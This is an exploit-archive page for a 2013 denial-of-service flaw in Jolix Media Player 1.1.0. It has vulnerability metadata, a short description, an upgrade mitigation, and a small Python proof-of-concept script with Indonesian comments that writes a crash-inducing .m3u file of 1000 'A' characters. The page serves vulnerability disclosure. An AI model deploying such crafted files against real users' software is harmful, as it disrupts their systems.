header-logo
Suggest Exploit
vendor:
Jolix Media Player
by:
IndonesiaGokilTeam
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Jolix Media Player
Affected Version From: 1.1.0
Affected Version To: 1.1.0
Patch Exists: Yes
Related CWE: N/A
CPE: a:jolixtools:jolix_media_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP 3
2013

Jolix Media Player (.m3u) Denial of Service Exploit

A denial of service vulnerability exists in Jolix Media Player version 1.1.0. An attacker can create a specially crafted .m3u file containing 1000 'A' characters, which when opened in Jolix Media Player will cause a denial of service condition.

Mitigation:

Upgrade to the latest version of Jolix Media Player
Source

Exploit-DB raw data:

#!/usr/bin/python
print """
 [+]Judul Ledakan:Jolix Media Player (.m3u) Denial of Service Exploit
 [+]Celah versi: Version 1.1.0
 [+]Mengunduh produk: http://www.jolixtools.com/downloads/jolix-media-player-setup.exe
 [+]Hari Tanggal Tahun: 09.07.2013
 [+]Penulis: IndonesiaGokilTeam
 [+]Dicoba di sistem operasi: Windows xp sp 3
 """

sampah = "\x41" * 1000
ledakan = sampah
  
try:
    rst= open("SampahMasyarakat.m3u",'w')
    rst.write(ledakan)
    rst.close()
    print("\nFile Sampah Masyarakat dibuat !\n")
except:
    print "Gagal"